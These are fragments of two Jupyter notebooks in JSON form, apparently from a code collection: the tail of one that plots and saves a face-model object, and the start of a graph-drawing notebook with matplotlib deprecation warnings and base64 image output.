bzX\n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\n", "text": [ "<matplotlib.figure.Figure at 0x7faf141d3510>" ] } ], "prompt_number": 17 }, { "cell_type": "heading", "level": 3, "metadata": {}, "source": [ "Save" ] }, { "cell_type": "code", "collapsed": false, "input": [ "from alabortcvpr2015.utils import pickle_dump\n", "\n", "pickle_dump(aam, '/data/PhD/Models/aam_view0_fast_dsift')" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 18 } ], "metadata": {} } ] }

bsd-2-clause

atcemgil/notes

DrawGraphs.ipynb

1

1017182

{ "cells": [ { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "%matplotlib inline\n", "import networkx as nx\n", "#import pygraphviz\n", "import pyparsing\n", "import numpy as np\n", "import matplotlib.pylab as plt\n", "\n", "from IPython.display import Math" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "scrolled": true }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/Users/cemgil/anaconda/envs/py27/lib/python2.7/site-packages/networkx/drawing/nx_pylab.py:126: MatplotlibDeprecationWarning: pyplot.hold is deprecated.\n", " Future behavior will be consistent with the long-time default:\n", " plot commands add elements without first clearing the\n", " Axes and/or Figure.\n", " b = plt.ishold()\n", "/Users/cemgil/anaconda/envs/py27/lib/python2.7/site-packages/networkx/drawing/nx_pylab.py:138: MatplotlibDeprecationWarning: pyplot.hold is deprecated.\n", " Future behavior will be consistent with the long-time default:\n", " plot commands add elements without first clearing the\n", " Axes and/or Figure.\n", " plt.hold(b)\n", "/Users/cemgil/anaconda/envs/py27/lib/python2.7/site-packages/matplotlib/__init__.py:917: UserWarning: axes.hold is deprecated. Please remove it from your matplotlibrc and/or style files.\n", " warnings.warn(self.msg_depr_set % key)\n", "/Users/cemgil/anaconda/envs/py27/lib/python2.7/site-packages/matplotlib/rcsetup.py:152: UserWarning: axes.hold is deprecated, will be removed in 3.0\n", " warnings.warn(\"axes.hold is deprecated, will be removed in 3.0\")\n" ] }, { "data": { "image/png": "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